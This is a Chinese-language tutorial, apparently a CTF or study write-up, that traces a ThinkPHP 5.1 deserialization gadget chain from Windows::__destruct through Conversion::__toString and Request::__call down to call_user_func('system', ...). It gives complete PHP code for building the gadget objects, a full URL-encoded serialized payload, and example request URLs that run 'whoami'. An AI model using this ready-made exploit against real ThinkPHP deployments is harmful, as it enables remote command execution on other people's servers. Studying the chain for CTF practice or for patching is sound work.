漏洞的起点为/thinkphp/library/think/process/pipes/Windows.php
的__destruct()
。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
__destruct
调用了两个函数,close()
函数没有可利用的,跟进 removeFiles()
,里面有一个任意文件删除unlink
,当然对rce没啥帮助。
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
file_exists会将$filename当作字符串处理。
而__toString 当一个对象被当做字符串处理时会被触发,我们通过传入一个对象来触发__toString 方法。所以全局搜索可以利用的__toString方法。
全局搜索下,选择了 Conversion.php
中的 __toString
魔术方法。
public function __toString() //trait Conversion类
{
return $this->toJson();
}
跟进 toJson
函数。
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跟进 toArray
函数。
public function toArray()
{
$item = [];
$hasVisible = false;
......
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
//$relation可控,$name通过this->append也可控,
//visible方法名无所谓,不存在的话,可以触发__call
$relation->visible($name);
}
}
.......
}
在 toArray
函数里找到一个满足$可控变量->方法(可控参数)
的点,其中 $relation
通过 getRelation
和 getAttr
是可控的。
接下来跟进 getRelation
函数。
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
要返回空才能使得在 toArray
中往下执行 $relation = $this->getAttr($key);
,所以这边可以不用理。
继续跟进 getAttr
。
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name); //return value给$relation
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
......
}
继续跟进 getData
。
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name]; //$this->data[$name]返回给value再返回给$relation
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
因为 这边的 getData
里的 name
是 toArray
里的 $this->append
键名,而 $this->append
又不能为空,所以 getData
的第一个 if
触发不了。
removeFiles =》 file_exists
__toString =》toJson =》toArray($relation->visible($name))其中relation 和 name 可控
relation =》$this->getAttr($key) =》$this->getData($name) =》$this->data[$name]
$key 为 $this->append 的键名。
$this->data 可控。
当 $relation
为对象时就可以调用方法并传参了,但是要用到不同类中的不同方法,所以这版就涉及到 php 的一个小知识点 Trait
,所以我们要找一个继承了用到的所有方法的类的一个类。
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。
__toString trait Conversion
getRelation trait RelationShip
getAttr trait Attribute
getData trait Attribute
最后在 Model.php
中找到符合条件的类,不过这个类是抽象类,还要找它的子类去实现它.
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
.......
}
在 Pivot.php
的 Pivot
类实现了 model
类
class Pivot extends Model
{
........
}
上面说到 $relation->visible($name)
我们可以控制 relation
和 name
,所以接下来要找一个可以利用的类。
全局搜索 visible
没有可以利用的点,那么只能利用 __call
函数了。
所以我们要找一个类,这个类不能有 visiable
,但要有 __call
。
全局搜索,Request.php
中的 __call
虽然可以利用,但是无法直接利用,
hook['visiable'=>' 可利用的方法'] , arg[$this, 'toArray的name']
其中 arg
因为 $this
变得不可控
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {//检查hook是否是method数组的键名
array_unshift($args, $this);//把this插入到args数组的开头,arg=[$this,$name]
//这边的arg是数组,且因为array_unshift的存在导致我们无法rce
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
在 Thinkphp
的 Request
类中还有一个功能 filter
功能,实际上 Thinkphp 的一些 rce 都与这个功能有关,可以试着覆盖 filter
的方法去 rce。
在 filterValue
函数中有 call_user_func
可 rce
的函数,但是 value
不可控。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
//这边的value不可控,要找可以控制value的点,利用input函数
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
找调用 filterValue
的函数,input
函数
public function input($data = [], $name = '', $default = null, $filter = '')
{
//name通过isAjax控制$this->config['var_ajax'],也就是控制了param的name,也就控制了input的name
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
//getData($data)里的data参数是param里的this->param,也就是get和post所有参数
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);//调用了filterValue但是参数不可控
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
这边用了 array_walk_recursive
回调函数调用了 filterValue
,但是参数依然不可控。
array_walk_recursive
解析:
$arr = array('a' => 'apple', 'b' => 'banana', 'c' => array('c1' => 'green orange', 'c2' => 'yello orange'));
function aaa($v, $k, $udata) {
echo $udata .' '. $v .' '.$k. '
';
}
array_walk_recursive($arr, aaa, 'I like');
从输出中可以看出参数的赋值是有顺序的,键值是第一个参数,键名是第二个参数,而自己定义的则是第三个。
I like apple a<br>I like banana b<br>I like green orange c1<br>I like yello orange c2<br>
再找找什么函数调用了 input 且可控变量的,param函数。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
//这边的data可控,也就是this->param数组和file数组的总,但file可以为空,所以只剩this->param
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
$this->param
完全可控,接收 get 参数,也就是说 input
函数的 data
可控 ,也就是 call_user_func
的 value
可控。现在还有一个 name
参数 不可控,继续找调用 param
的函数。
在 isAjax
函数中,$this->config['var_ajax'])
是可控的,那么 param
的 name
就是可控的,也就是 input
的 name
参数可控。
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
那么 isAjax
也就是链的开始了,到这我们再阶段小结一下。
isAjax 的 $this->config['var_ajax'] 控制了 param函数的 name,也间接控制了 input 的 name。
param 的 $this->param可控,也就是 input 函数的 `data` 可控 ,也就是 `call_user_func` 的 `value` 可控。
接下来继续看 input
函数,因为还有个参数 $filter
也就是 call_user_func($filter, $value);
的 filter
参数没控制。
跟进 getData
函数
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
跟进 getFilter
函数
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
$filter = $this->filter
,也就是 call_user_func
的 $filter
,我们要定义 $filter
为可以 rce 的函数名。
到这我们就可以知道,filterValue.value
是 param
的 $this->param
,也就是第一个 get
参数,而 filters.filters
就等于 input.filters
的值。
windows 类中的 removeFiles 里需要一个 file 数组,数组中是继承了各个类的model类的子类,又因为Pivot类和Windows类不在同一个空间里,所以要use一下。
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
接着就是 Pivot 和 Model 类
namespace think\model;
use think\Model;
class Pivot extends Model{
}
this->data
是 getData
函数的 $this->data[$name];
,而 $name
是 toArray
函数里 this->append
数组的键名,所以data
数组的键名才要和 append
一样,而 append
键值要为 request
类中不存在的方法,这样才会自动调用 requests
类的 __call
函数,也就完成了 $relation->visible($name);
的利用。
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct(){
$this->append=["shell"=>['call']];
$this->data=["shell"=>new Request()];
}
}
最后就是 Request
类,hook
使回调函数调用 isAjax
,然后往前推,推到 param
时会把 this->param
(接收第一个get值) 也就是 filterValue
里的 value
传给 input
,到 input
时,filter
通过 getFilter
函数 传给 input
函数的 filter
,最后传给 filterValue
的 filter
,这样最后到 filterValue
就会执行 call_user_func('system','get')
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
public function __construct(){
$this->hook['visible'] = [$this, 'isAjax'];
$this->filter = "system";
}
}
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct(){
$this->append=["shell"=>['call']];
$this->data=["shell"=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->config = ["var_ajax"=>''];
$this->hook['visible'] = [$this, 'isAjax'];
$this->filter = "system";
}
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
echo urlencode(serialize(new Windows()));
如果没有入口文件,那要先构造一个入口文件。
第一个请求路由为application\index\controller\index.php文件->Index类->hello()方法
,别名pathinfo()形式路由,第二个请求利用了 thinkphp 的兼容模式url
http://ip/public/index.php/index/Index/hello?a=whoami
http://ip/public/index.php?s=index/index/hello&a=whoami
post:
str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22shell%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22call%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22shell%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A8%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3BN%3B%7D%7D%7D%7D%7D
https://blog.csdn.net/weixin_45794666/article/details/123222190
https://github.com/Jason1314Zhang/BUUCTF-WP/blob/main/N1BOOK/%5B%E7%AC%AC%E4%B8%89%E7%AB%A0%20web%E8%BF%9B%E9%98%B6%5Dthinkphp%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md